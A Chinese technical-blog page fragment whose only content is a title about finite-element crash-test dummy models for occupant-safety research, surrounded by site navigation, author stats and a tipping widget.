假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

上一篇: 微过滤器驱动开发指南
下一篇: 删除被锁定的文件
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值